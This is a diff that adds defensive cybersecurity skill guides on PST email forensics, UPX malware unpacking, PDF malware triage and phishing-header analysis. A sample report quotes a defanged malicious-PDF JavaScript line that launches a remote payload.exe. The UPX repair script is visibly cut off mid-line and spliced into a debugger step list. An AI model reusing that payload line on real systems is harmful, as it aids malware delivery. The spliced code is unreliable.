Format + +``` +## Traffic Analysis Report + +**Case ID**: IR-2024-0847 +**Capture File**: dns_exfil_investigation.pcapng +**SHA-256**: a3f2b8c1d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1 +**Duration**: 2024-03-15 14:00:00 to 14:45:00 UTC +**Source Interface**: eth2 (VLAN 30 span port) + +### Findings + +**1. DNS Tunneling Confirmed** +- Source: 10.10.3.45 +- Destination DNS: 8.8.8.8 (forwarded to ns1.suspect-domain.xyz) +- Query volume: 9,247 queries in 45 minutes (205/min vs 15/min baseline) +- Average subdomain label length: 63 characters (base64-encoded data) +- Estimated data exfiltrated: ~2.3 MB via TXT record responses + +**2. Indicators of Compromise** +- Domain: suspect-domain.xyz (registered 3 days prior) +- Nameserver: ns1.suspect-domain.xyz (203.0.113.50) +- Query pattern: TXT record requests with base64-encoded subdomains +- Response pattern: TXT records containing base64-encoded payloads +``` diff --git a/skills/analyzing-outlook-pst-for-email-forensics/SKILL.md b/skills/analyzing-outlook-pst-for-email-forensics/SKILL.md new file mode 100644 index 00000000..031b0b1e --- /dev/null +++ b/skills/analyzing-outlook-pst-for-email-forensics/SKILL.md @@ -0,0 +1,241 @@ +--- +name: analyzing-outlook-pst-for-email-forensics +description: Analyze Microsoft Outlook PST and OST files for email forensic evidence including message content, headers, attachments, deleted items, and metadata using libpff, pst-utils, and forensic email analysis tools for legal investigations and incident response. +domain: cybersecurity +subdomain: digital-forensics +tags: [email-forensics, pst, ost, outlook, mapi, email-headers, attachments, deleted-emails, libpff, eml-extraction] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing Outlook PST for Email Forensics + +## Overview + +Microsoft Outlook PST (Personal Storage Table) and OST (Offline Storage Table) files are critical evidence sources in digital forensics investigations. PST files store email messages, calendar events, contacts, tasks, and notes in a proprietary binary format based on the MAPI (Messaging Application Programming Interface) property system. Forensic analysis of these files enables recovery of deleted emails (from the Recoverable Items folder), extraction of email headers for tracing message routes, analysis of attachments for malware or exfiltrated data, and reconstruction of communication patterns. Modern PST files use Unicode format with 4KB pages and can grow up to 50GB, while legacy ANSI format is limited to 2GB. + +## Prerequisites + +- libpff/pffexport (open-source PST parser) +- Python 3.8+ with pypff or libratom libraries +- MailXaminer, Forensic Email Collector, or SysTools PST Forensics (commercial) +- Microsoft Outlook (optional, for native PST access) +- Sufficient disk space for extracted content + +## PST File Locations + +| Source | Path | +|--------|------| +| Outlook 2016+ Default | %USERPROFILE%\Documents\Outlook Files\*.pst | +| Outlook Legacy | %LOCALAPPDATA%\Microsoft\Outlook\*.pst | +| OST Cache | %LOCALAPPDATA%\Microsoft\Outlook\*.ost | +| Archive | %USERPROFILE%\Documents\Outlook Files\archive.pst | + +## Analysis with Open-Source Tools + +### libpff / pffexport + +```bash +# Export all items from PST file +pffexport -m all evidence.pst -t exported_pst + +# Export only email messages +pffexport -m items evidence.pst -t exported_emails + +# Export recovered/deleted items +pffexport -m recovered evidence.pst -t recovered_items + +# Get PST file information +pffinfo evidence.pst +``` + +### Python PST Analysis + +```python +import pypff +import os +import json +import hashlib +import email +import sys +from datetime import datetime +from collections import defaultdict + + +class PSTForensicAnalyzer: + """Forensic analysis of Outlook PST/OST files.""" + + def __init__(self, pst_path: str, output_dir: str): + self.pst_path = pst_path + self.output_dir = output_dir + os.makedirs(output_dir, exist_ok=True) + self.pst = pypff.file() + self.pst.open(pst_path) + self.messages = [] + self.attachments = [] + self.stats = defaultdict(int) + + def process_folder(self, folder, folder_path: str = ""): + """Recursively process PST folders and extract messages.""" + folder_name = folder.name or "Root" + current_path = f"{folder_path}/{folder_name}" if folder_path else folder_name + + for i in range(folder.number_of_sub_messages): + try: + message = folder.get_sub_message(i) + msg_data = self.extract_message(message, current_path) + if msg_data: + self.messages.append(msg_data) + self.stats["total_messages"] += 1 + except Exception as e: + self.stats["parse_errors"] += 1 + + for i in range(folder.number_of_sub_folders): + try: + subfolder = folder.get_sub_folder(i) + self.process_folder(subfolder, current_path) + except Exception: + continue + + def extract_message(self, message, folder_path: str) -> dict: + """Extract forensic metadata from a single email message.""" + msg_data = { + "folder": folder_path, + "subject": message.subject or "", + "sender": message.sender_name or "", + "sender_email": "", + "creation_time": str(message.creation_time) if message.creation_time else None, + "delivery_time": str(message.delivery_time) if message.delivery_time else None, + "modification_time": str(message.modification_time) if message.modification_time else None, + "has_attachments": message.number_of_attachments > 0, + "attachment_count": message.number_of_attachments, + "body_size": len(message.plain_text_body or b""), + "html_size": len(message.html_body or b""), + } + + # Extract transport headers for routing analysis + headers = message.transport_headers + if headers: + msg_data["headers_present"] = True + msg_data["headers_size"] = len(headers) + # Parse key headers + parsed = email.message_from_string(headers) + msg_data["from_header"] = parsed.get("From", "") + msg_data["to_header"] = parsed.get("To", "") + msg_data["date_header"] = parsed.get("Date", "") + msg_data["message_id"] = parsed.get("Message-ID", "") + msg_data["x_originating_ip"] = parsed.get("X-Originating-IP", "") + msg_data["received_headers"] = parsed.get_all("Received", []) + + # Process attachments + for j in range(message.number_of_attachments): + try: + attachment = message.get_attachment(j) + att_data = { + "message_subject": msg_data["subject"], + "name": attachment.name or f"attachment_{j}", + "size": attachment.size, + "content_type": "", + } + self.attachments.append(att_data) + self.stats["total_attachments"] += 1 + except Exception: + continue + + return msg_data + + def save_attachments(self, max_size_mb: int = 100): + """Export attachments to disk for analysis.""" + att_dir = os.path.join(self.output_dir, "attachments") + os.makedirs(att_dir, exist_ok=True) + + root = self.pst.get_root_folder() + self._save_attachments_recursive(root, att_dir, max_size_mb) + + def _save_attachments_recursive(self, folder, att_dir, max_size_mb): + for i in range(folder.number_of_sub_messages): + try: + message = folder.get_sub_message(i) + for j in range(message.number_of_attachments): + att = message.get_attachment(j) + if att.size and att.size < max_size_mb * 1024 * 1024: + name = att.name or f"unknown_{i}_{j}" + safe_name = "".join(c if c.isalnum() or c in ".-_" else "_" for c in name) + path = os.path.join(att_dir, safe_name) + try: + data = att.read_buffer(att.size) + with open(path, "wb") as f: + f.write(data) + except Exception: + continue + except Exception: + continue + + for i in range(folder.number_of_sub_folders): + try: + self._save_attachments_recursive(folder.get_sub_folder(i), att_dir, max_size_mb) + except Exception: + continue + + def generate_report(self) -> str: + """Generate comprehensive PST forensic analysis report.""" + root = self.pst.get_root_folder() + self.process_folder(root) + + report = { + "analysis_timestamp": datetime.now().isoformat(), + "pst_file": self.pst_path, + "pst_size_bytes": os.path.getsize(self.pst_path), + "statistics": dict(self.stats), + "messages": self.messages[:500], + "attachments": self.attachments[:200], + } + + report_path = os.path.join(self.output_dir, "pst_forensic_report.json") + with open(report_path, "w") as f: + json.dump(report, f, indent=2, default=str) + + print(f"[*] Total messages: {self.stats['total_messages']}") + print(f"[*] Total attachments: {self.stats['total_attachments']}") + print(f"[*] Parse errors: {self.stats['parse_errors']}") + return report_path + + def close(self): + self.pst.close() + + +def main(): + if len(sys.argv) < 3: + print("Usage: python process.py ") + sys.exit(1) + analyzer = PSTForensicAnalyzer(sys.argv[1], sys.argv[2]) + analyzer.generate_report() + analyzer.close() + + +if __name__ == "__main__": + main() +``` + +## Email Header Analysis + +Key headers for forensic investigation: + +| Header | Forensic Value | +|--------|---------------| +| Received | Message routing chain (read bottom to top) | +| X-Originating-IP | Sender's actual IP address | +| Message-ID | Unique identifier for correlation | +| Date | Send timestamp | +| Return-Path | Bounce address (may differ from From) | +| DKIM-Signature | Domain authentication signature | +| Authentication-Results | SPF, DKIM, DMARC verification results | +| X-Mailer | Email client used | + +## References + +- MailXaminer PST Forensics: https://www.mailxaminer.com/blog/outlook-pst-file-forensics/ +- libpff Documentation: https://github.com/libyal/libpff +- PST File Format Specification: https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-pst/ +- SANS Email Forensics: https://www.sans.org/blog/email-forensics/ diff --git a/skills/analyzing-outlook-pst-for-email-forensics/references/standards.md b/skills/analyzing-outlook-pst-for-email-forensics/references/standards.md new file mode 100644 index 00000000..200c0164 --- /dev/null +++ b/skills/analyzing-outlook-pst-for-email-forensics/references/standards.md @@ -0,0 +1,16 @@ +# Standards - Outlook PST Email Forensics +## Standards +- MS-PST: Outlook Personal Folders (.pst) File Format +- MS-OXMSG: Outlook Item Message File Format +- NIST SP 800-86: Guide to Integrating Forensic Techniques +## Tools +- libpff/pffexport: Open-source PST parser +- pypff (Python): Python bindings for libpff +- MailXaminer: Commercial email forensics +- PST Walker: Email investigation software +- Kernel Outlook PST Viewer: Free PST reader +## Key Artifacts +- Email headers (Received, X-Originating-IP, Message-ID) +- Deleted items (Recoverable Items folder) +- Attachments (malware, exfiltrated data) +- Calendar events, contacts, tasks diff --git a/skills/analyzing-outlook-pst-for-email-forensics/references/workflows.md b/skills/analyzing-outlook-pst-for-email-forensics/references/workflows.md new file mode 100644 index 00000000..8d513e52 --- /dev/null +++ b/skills/analyzing-outlook-pst-for-email-forensics/references/workflows.md @@ -0,0 +1,19 @@ +# Workflows - PST Email Forensics +## Workflow: Email Evidence Extraction +``` +Acquire PST/OST files from evidence + | +Hash original files (SHA-256) + | +Export with pffexport (items + recovered) + | +Parse email headers for routing + | +Extract and hash attachments + | +Search for keywords across messages + | +Build communication timeline + | +Document findings with chain of custody +``` diff --git a/skills/analyzing-packed-malware-with-upx-unpacker/SKILL.md b/skills/analyzing-packed-malware-with-upx-unpacker/SKILL.md new file mode 100644 index 00000000..f0c5018e --- /dev/null +++ b/skills/analyzing-packed-malware-with-upx-unpacker/SKILL.md @@ -0,0 +1,299 @@ +--- +name: analyzing-packed-malware-with-upx-unpacker +description: > + Identifies and unpacks UPX-packed and other packed malware samples to expose the original + executable code for static analysis. Covers both standard UPX unpacking and handling + modified UPX headers that prevent automated decompression. Activates for requests involving + malware unpacking, UPX decompression, packer removal, or preparing packed samples for analysis. +domain: cybersecurity +subdomain: malware-analysis +tags: [malware, unpacking, UPX, packing, static-analysis] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Analyzing Packed Malware with UPX Unpacker + +## When to Use + +- Static analysis reveals high entropy sections and minimal imports indicating the binary is packed +- PEiD, Detect It Easy, or PEStudio identifies UPX or another known packer +- The import table contains only LoadLibrary and GetProcAddress (runtime import resolution typical of packed binaries) +- You need to recover the original binary for proper disassembly and decompilation in Ghidra or IDA +- Automated UPX decompression fails because the malware author modified UPX magic bytes or headers + +**Do not use** when dealing with custom packers, VM-based protectors (Themida, VMProtect), or samples where dynamic unpacking via debugging is more appropriate. + +## Prerequisites + +- UPX (Ultimate Packer for eXecutables) installed (`apt install upx-ucl` or download from https://upx.github.io/) +- Detect It Easy (DIE) for packer identification +- Python 3.8+ with `pefile` library for manual header repair +- x64dbg or x32dbg for manual unpacking when automated tools fail +- PE-bear or CFF Explorer for PE header inspection and repair +- Isolated analysis VM without network connectivity + +## Workflow + +### Step 1: Identify the Packer + +Determine if the sample is packed and identify the packer: + +```bash +# Check with Detect It Easy +diec suspect.exe + +# Check with UPX (test without unpacking) +upx -t suspect.exe + +# Python-based entropy and packer detection +python3 << 'PYEOF' +import pefile +import math + +pe = pefile.PE("suspect.exe") + +print("Section Analysis:") +for section in pe.sections: + name = section.Name.decode().rstrip('\x00') + entropy = section.get_entropy() + raw = section.SizeOfRawData + virtual = section.Misc_VirtualSize + print(f" {name:8s} Entropy: {entropy:.2f} Raw: {raw:>8} Virtual: {virtual:>8}") + +# Check for UPX section names +section_names = [s.Name.decode().rstrip('\x00') for s in pe.sections] +if 'UPX0' in section_names or 'UPX1' in section_names: + print("\n[!] UPX section names detected") +elif '.upx' in [s.lower() for s in section_names]: + print("\n[!] UPX variant section names detected") + +# Check import count (packed binaries have very few) +if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'): + total_imports = sum(len(e.imports) for e in pe.DIRECTORY_ENTRY_IMPORT) + print(f"\nTotal imports: {total_imports}") + if total_imports < 10: + print("[!] Very few imports - likely packed") +else: + print("\n[!] No import directory - heavily packed") +PYEOF +``` + +### Step 2: Attempt Standard UPX Decompression + +Try the built-in UPX decompression: + +```bash +# Standard UPX decompress +upx -d suspect.exe -o unpacked.exe + +# If UPX fails with "not packed by UPX" error, the headers may be modified +# Verbose output for debugging +upx -d suspect.exe -o unpacked.exe -v 2>&1 + +# Verify the unpacked file +file unpacked.exe +diec unpacked.exe +``` + +### Step 3: Repair Modified UPX Headers + +If standard decompression fails, repair tampered magic bytes: + +```python +# Repair modified UPX headers +import struct + +with open("suspect.exe", "rb") as f: + data = bytearray(f.read()) + +# UPX magic bytes: "UPX!" (0x55505821) +# Malware authors commonly modify these to prevent automatic unpacking + +# Search for modified UPX signatures +upx_magic = b"UPX!" +modified_patterns = [b"UPX0", b"UPX\x00", b"\x00PX!", b"UPx!"] + +# Find and restore section names +pe_offset = struct.unpack_from(" Follow in Dump + - Set hardware breakpoint on access at [ESP] address + - Run (F9) - breaks at POPAD before JMP to OEP +5. Step forward (F7/F8) until you reach the JMP to OEP +6. At OEP: Use Scylla plugin to dump and fix imports: + - Plugins -> Scylla -> OEP = current EIP + - Click "IAT Autosearch" -> "Get Imports" + - Click "Dump" to save unpacked binary + - Click "Fix Dump" to repair import table +``` + +### Step 5: Validate Unpacked Binary + +Verify the unpacked sample is valid and complete: + +```bash +# Verify unpacked PE is valid +python3 << 'PYEOF' +import pefile + +pe = pefile.PE("unpacked.exe") + +# Check sections are normal +print("Unpacked Section Analysis:") +for section in pe.sections: + name = section.Name.decode().rstrip('\x00') + entropy = section.get_entropy() + print(f" {name:8s} Entropy: {entropy:.2f}") + +# Verify imports are resolved +print(f"\nImport count:") +if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'): + for entry in pe.DIRECTORY_ENTRY_IMPORT: + dll = entry.dll.decode() + count = len(entry.imports) + print(f" {dll}: {count} functions") + total = sum(len(e.imports) for e in pe.DIRECTORY_ENTRY_IMPORT) + print(f" Total: {total} imports") + +# Compare file sizes +import os +packed_size = os.path.getsize("suspect.exe") +unpacked_size = os.path.getsize("unpacked.exe") +print(f"\nPacked: {packed_size:>10} bytes") +print(f"Unpacked: {unpacked_size:>10} bytes") +print(f"Ratio: {unpacked_size/packed_size:.1f}x") +PYEOF +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Packing** | Compressing or encrypting executable code to reduce file size and hinder static analysis; the binary contains an unpacking stub that restores code at runtime | +| **UPX** | Ultimate Packer for eXecutables; open-source executable packer commonly abused by malware authors because it is free and effective | +| **Original Entry Point (OEP)** | The real starting address of the malware code before packing; the unpacking stub decompresses code then jumps to the OEP | +| **Import Reconstruction** | Process of rebuilding the import address table after dumping an unpacked process from memory using tools like Scylla or ImpRec | +| **PUSHAD/POPAD** | x86 instructions that save/restore all general-purpose registers; UPX uses this pattern to preserve register state during unpacking | +| **Section Entropy** | Randomness measure of PE section data; packed sections show entropy > 7.0 while normal code sections average 5.0-6.5 | +| **Magic Bytes** | Signature bytes within a file identifying its format; UPX uses "UPX!" which malware authors modify to prevent automated decompression | + +## Tools & Systems + +- **UPX**: Open-source executable packer with built-in decompression capability for properly packed files +- **Detect It Easy (DIE)**: Packer, compiler, and linker detection tool that identifies protection on PE, ELF, and Mach-O files +- **x64dbg/x32dbg**: Open-source Windows debugger used for manual unpacking through dynamic execution and breakpoint-based OEP finding +- **Scylla**: Import reconstruction tool integrated with x64dbg for rebuilding IAT after memory dumping +- **PE-bear**: PE file viewer and editor for inspecting and repairing PE headers after unpacking + +## Common Scenarios + +### Scenario: Unpacking Malware with Modified UPX Headers + +**Context**: A malware sample is identified as UPX-packed by section names (UPX0, UPX1) but `upx -d` fails with "CantUnpackException: header corrupted". The malware author modified the UPX magic bytes to prevent automated decompression. + +**Approach**: +1. Open the binary in a hex editor and search for the UPX header area (typically at the end of packed data) +2. Identify the modified magic bytes (e.g., "UPX!" changed to "UPX\x00" or completely zeroed) +3. Use the Python repair script to restore "UPX!" magic and correct section names +4. Retry `upx -d` on the repaired binary +5. If repair fails, fall back to manual unpacking with x64dbg (PUSHAD -> hardware BP on ESP -> POPAD -> JMP OEP) +6. Validate the unpacked binary has proper imports and reasonable entropy values +7. Import into Ghidra or IDA for full static analysis + +**Pitfalls**: +- Assuming UPX is the only packer; the binary may be double-packed (UPX + custom layer) +- Modifying the original packed sample instead of working on a copy +- Not reconstructing imports after manual memory dump (the dumped binary will crash without IAT fix) +- Forgetting to check for overlay data appended after the UPX-packed PE sections + +## Output Format + +``` +UNPACKING ANALYSIS REPORT +=========================== +Sample: suspect.exe +SHA-256: e3b0c44298fc1c149afbf4c8996fb924... +Packer: UPX 3.96 (modified headers) + +PACKED BINARY +Sections: UPX0 (entropy: 0.00) UPX1 (entropy: 7.89) .rsrc (entropy: 3.45) +Imports: 2 (kernel32.dll: LoadLibraryA, GetProcAddress) +File Size: 98,304 bytes + +UNPACKING METHOD +Method: Header repair + UPX -d +Header Fix: Restored UPX! magic at offset 0x1F000 +Command: upx -d suspect_fixed.exe -o unpacked.exe +Result: SUCCESS + +UNPACKED BINARY +Sections: .text (entropy: 6.21) .rdata (entropy: 4.56) .data (entropy: 3.12) .rsrc (entropy: 3.45) +Imports: 147 (kernel32, user32, advapi32, wininet, ws2_32) +File Size: 245,760 bytes (2.5x expansion) +OEP: 0x00401000 + +VALIDATION +PE Valid: Yes +Imports Resolved: Yes (147 functions across 8 DLLs) +Executable: Yes (runs without crash in sandbox) + +NEXT STEPS +- Import unpacked.exe into Ghidra for full disassembly +- Run YARA rules against unpacked binary +- Submit unpacked binary to VirusTotal for improved detection +``` diff --git a/skills/analyzing-pdf-malware-with-pdfid/SKILL.md b/skills/analyzing-pdf-malware-with-pdfid/SKILL.md new file mode 100644 index 00000000..546c8a2c --- /dev/null +++ b/skills/analyzing-pdf-malware-with-pdfid/SKILL.md @@ -0,0 +1,341 @@ +--- +name: analyzing-pdf-malware-with-pdfid +description: > + Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded + JavaScript, shellcode, exploits, and suspicious objects without opening the document. + Determines the attack vector and extracts embedded payloads for further analysis. + Activates for requests involving PDF malware analysis, malicious document analysis, + PDF exploit investigation, or suspicious attachment triage. +domain: cybersecurity +subdomain: malware-analysis +tags: [malware, PDF-analysis, document-malware, PDFiD, static-analysis] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Analyzing PDF Malware with PDFiD + +## When to Use + +- A suspicious PDF attachment has been flagged by email security or reported by a user +- You need to determine if a PDF contains embedded JavaScript, shellcode, or exploit code +- Triaging PDF documents before opening them in a sandbox or analysis environment +- Extracting embedded executables, scripts, or URLs from malicious PDF objects +- Analyzing PDF exploit kits targeting Adobe Reader or other PDF viewer vulnerabilities + +**Do not use** for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects. + +## Prerequisites + +- Python 3.8+ with Didier Stevens' PDF tools installed (`pip install pdfid pdf-parser`) +- peepdf installed for interactive PDF analysis (`pip install peepdf`) +- pdftotext from poppler-utils for extracting text content safely +- YARA with PDF-specific rules for malware family identification +- Isolated analysis VM without a PDF reader installed (prevent accidental opening) +- CyberChef for decoding embedded Base64, hex, or deflate streams + +## Workflow + +### Step 1: Initial Triage with PDFiD + +Scan the PDF for suspicious keywords and structures: + +```bash +# Run PDFiD to identify suspicious elements +pdfid suspect.pdf + +# Expected output analysis: +# /JS - JavaScript (HIGH risk) +# /JavaScript - JavaScript object (HIGH risk) +# /AA - Auto-Action triggered on open (HIGH risk) +# /OpenAction - Action on document open (HIGH risk) +# /Launch - Launch external application (HIGH risk) +# /EmbeddedFile - Embedded file (MEDIUM risk) +# /RichMedia - Flash content (MEDIUM risk) +# /ObjStm - Object stream (used for obfuscation) +# /URI - URL reference (contextual risk) +# /AcroForm - Interactive form (MEDIUM risk) + +# Run with extra detail +pdfid -e suspect.pdf + +# Run with disarming (rename suspicious keywords) +pdfid -d suspect.pdf +``` + +``` +PDFiD Risk Assessment: +━━━━━━━━━━━━━━━━━━━━━ +HIGH RISK indicators (any count > 0): + /JS, /JavaScript -> Embedded JavaScript code + /AA -> Automatic Action (triggers without user interaction) + /OpenAction -> Code runs when document is opened + /Launch -> Can launch external executables + /JBIG2Decode -> Associated with CVE-2009-0658 exploit + +MEDIUM RISK indicators: + /EmbeddedFile -> Contains embedded files (could be EXE/DLL) + /RichMedia -> Flash/multimedia (Flash exploits) + /AcroForm -> Form with possible submit action + /XFA -> XML Forms Architecture (complex attack surface) + +LOW RISK indicators: + /ObjStm -> Object streams (obfuscation technique) + /URI -> External URL references + /Page -> Number of pages (context only) +``` + +### Step 2: Parse PDF Structure with pdf-parser + +Examine suspicious objects identified by PDFiD: + +```bash +# List all objects referencing JavaScript +pdf-parser --search "/JavaScript" suspect.pdf +pdf-parser --search "/JS" suspect.pdf + +# List all objects with OpenAction +pdf-parser --search "/OpenAction" suspect.pdf + +# Extract a specific object by ID (example: object 5) +pdf-parser --object 5 suspect.pdf + +# Extract and decompress stream content +pdf-parser --object 5 --filter --raw suspect.pdf + +# Search for embedded files +pdf-parser --search "/EmbeddedFile" suspect.pdf + +# List all objects with their types +pdf-parser --stats suspect.pdf +``` + +### Step 3: Extract and Analyze Embedded JavaScript + +Pull out JavaScript code from PDF objects: + +```bash +# Extract JavaScript using pdf-parser +pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt + +# Alternative: Use peepdf for interactive JavaScript extraction +peepdf -f -i suspect.pdf << 'EOF' +js_analyse +EOF + +# peepdf interactive commands for JS analysis: +# js_analyse - Extract and show all JavaScript code +# js_beautify - Format extracted JavaScript +# js_eval - Evaluate JavaScript in sandboxed environment +# object - Display object content +# rawobject - Display raw object bytes +# stream - Display decompressed stream +# offsets - Show object offsets in file +``` + +```python +# Python script for comprehensive PDF JavaScript extraction +import subprocess +import re + +# Extract all streams and search for JavaScript +result = subprocess.run( + ["pdf-parser", "--stats", "suspect.pdf"], + capture_output=True, text=True +) + +# Find object IDs containing JavaScript references +js_objects = [] +for line in result.stdout.split('\n'): + if '/JavaScript' in line or '/JS' in line: + obj_id = re.search(r'obj (\d+)', line) + if obj_id: + js_objects.append(obj_id.group(1)) + +# Extract each JavaScript-containing object +for obj_id in js_objects: + result = subprocess.run( + ["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"], + capture_output=True, text=True + ) + print(f"\n=== Object {obj_id} ===") + print(result.stdout[:2000]) +``` + +### Step 4: Analyze Embedded Shellcode + +Extract and examine shellcode from PDF exploits: + +```bash +# Extract raw stream data for shellcode analysis +pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf + +# Analyze shellcode with scdbg (shellcode debugger) +scdbg /f shellcode.bin + +# Alternative: Use speakeasy for shellcode emulation +python3 -c " +import speakeasy + +se = speakeasy.Speakeasy() +sc_addr = se.load_shellcode('shellcode.bin', arch='x86') +se.run_shellcode(sc_addr, count=1000) + +# Review API calls made by shellcode +for event in se.get_report()['api_calls']: + print(f\"{event['api']}: {event['args']}\") +" + +# Use CyberChef to decode hex/base64 encoded shellcode +# Input: Extracted stream data +# Recipe: From Hex -> Disassemble x86 +``` + +### Step 5: Extract Embedded Files and URLs + +Pull out embedded executables and linked resources: + +```python +# Extract embedded files from PDF +import subprocess +import hashlib + +# Find embedded file objects +result = subprocess.run( + ["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"], + capture_output=True +) + +# Extract embedded PE files by searching for MZ header +with open("suspect.pdf", "rb") as f: + data = f.read() + +# Search for embedded PE files +offset = 0 +while True: + pos = data.find(b'MZ', offset) + if pos == -1: + break + # Verify PE signature + if pos + 0x3C < len(data): + pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little') + if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE': + print(f"Embedded PE found at offset 0x{pos:X}") + # Extract (estimate size or use PE header) + embedded = data[pos:pos+100000] # Initial extraction + sha256 = hashlib.sha256(embedded).hexdigest() + with open(f"embedded_{pos:X}.exe", "wb") as out: + out.write(embedded) + print(f" SHA-256: {sha256}") + offset = pos + 1 + +# Extract URLs from PDF +result = subprocess.run( + ["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"], + capture_output=True, text=True +) +urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout) +for url in set(urls): + print(f"URL: {url}") +``` + +### Step 6: Generate Analysis Report + +Document all findings from the PDF analysis: + +``` +Analysis should cover: +- PDFiD triage results (suspicious keyword counts) +- PDF structure anomalies (object streams, cross-reference issues) +- Extracted JavaScript code (deobfuscated if needed) +- Shellcode analysis results (API calls, network indicators) +- Embedded files extracted with hashes +- URLs and external references +- CVE identification if a known exploit is detected +- YARA rule matches against known PDF malware families +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **PDF Object** | Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects | +| **OpenAction** | PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits | +| **PDF Stream** | Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed | +| **FlateDecode** | Zlib/deflate compression filter applied to PDF streams; must be decompressed to analyze contents | +| **ObjStm (Object Stream)** | PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers | +| **JBIG2** | Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) | +| **PDF JavaScript API** | Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction | + +## Tools & Systems + +- **PDFiD**: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document +- **pdf-parser**: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis +- **peepdf**: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction +- **QPDF**: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis +- **scdbg**: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls + +## Common Scenarios + +### Scenario: Triaging a Phishing PDF with Embedded JavaScript + +**Context**: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect. + +**Approach**: +1. Run PDFiD to confirm /JS, /JavaScript, and /OpenAction presence and counts +2. Use pdf-parser to extract the OpenAction object and follow its reference chain +3. Extract the JavaScript code from the referenced stream object (apply FlateDecode filter) +4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains) +5. Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect +6. Extract all URLs, IPs, and embedded files as IOCs +7. Classify the sample: exploit (specific CVE) or social engineering (redirect/phishing) + +**Pitfalls**: +- Opening the PDF in a standard reader instead of analyzing it with command-line tools +- Missing JavaScript hidden inside Object Streams (/ObjStm) that PDFiD detects but simple parsers miss +- Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters) +- Assuming the absence of /JS means no JavaScript; code can be embedded in form fields (/AcroForm with /XFA) + +## Output Format + +``` +PDF MALWARE ANALYSIS REPORT +============================== +File: invoice_2025.pdf +SHA-256: e3b0c44298fc1c149afbf4c8996fb924... +File Size: 45,312 bytes +PDF Version: 1.7 + +PDFID TRIAGE +/JS: 1 [HIGH RISK] +/JavaScript: 1 [HIGH RISK] +/OpenAction: 1 [HIGH RISK] +/EmbeddedFile: 0 +/Launch: 0 +/URI: 2 +/Page: 1 +/ObjStm: 1 [OBFUSCATION] + +SUSPICIOUS OBJECTS +Object 5: /OpenAction -> references Object 8 +Object 8: /JavaScript stream (FlateDecode, 2,847 bytes decompressed) +Object 12: /ObjStm containing objects 15-18 + +EXTRACTED JAVASCRIPT +Layer 1: eval(unescape("%68%65%6C%6C%6F")) +Layer 2: var url = "hxxp://malicious[.]com/payload.exe"; + app.launchURL(url, true); + // Social engineering redirect, not exploit + +EXTRACTED IOCs +URLs: hxxp://malicious[.]com/payload.exe + hxxps://fake-login[.]com/adobe/verify +Domains: malicious[.]com, fake-login[.]com + +CLASSIFICATION +Type: Social Engineering (URL redirect) +CVE: None (no exploit code detected) +Risk: HIGH (downloads executable payload) +Family: Generic PDF Dropper +``` diff --git a/skills/analyzing-phishing-email-headers/SKILL.md b/skills/analyzing-phishing-email-headers/SKILL.md new file mode 100644 index 00000000..3ef1103d --- /dev/null +++ b/skills/analyzing-phishing-email-headers/SKILL.md @@ -0,0 +1,78 @@ +--- +name: analyzing-phishing-email-headers +description: Email headers contain critical metadata that reveals the true origin, routing path, and authentication status of emails. Analyzing these headers is a foundational skill for identifying phishing attemp +domain: cybersecurity +subdomain: phishing-defense +tags: [phishing, email-security, social-engineering, dmarc, awareness, header-analysis, forensics] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Phishing Email Headers + +## Overview +Email headers contain critical metadata that reveals the true origin, routing path, and authentication status of emails. Analyzing these headers is a foundational skill for identifying phishing attempts, verifying sender authenticity, and gathering threat intelligence. This skill covers systematic extraction and interpretation of email headers using both manual techniques and automated tools. + +## Prerequisites +- Basic understanding of SMTP protocol and email delivery +- Familiarity with DNS records (MX, TXT, SPF, DKIM, DMARC) +- Python 3.8+ installed +- Access to email client that can export raw headers (Outlook, Gmail, Thunderbird) + +## Key Concepts + +### Critical Header Fields +1. **Received**: Chain of mail servers the message passed through (read bottom to top) +2. **From / Return-Path / Reply-To**: Sender identity fields (often spoofed) +3. **Authentication-Results**: SPF, DKIM, DMARC verification outcomes +4. **X-Originating-IP**: Original sender IP address +5. **Message-ID**: Unique identifier; anomalies indicate spoofing +6. **X-Mailer / User-Agent**: Email client used to compose the message + +### Red Flags in Headers +- Mismatched `From` and `Return-Path` domains +- SPF/DKIM/DMARC failures in `Authentication-Results` +- Suspicious `Received` chains with unfamiliar relay servers +- `X-Originating-IP` from unexpected 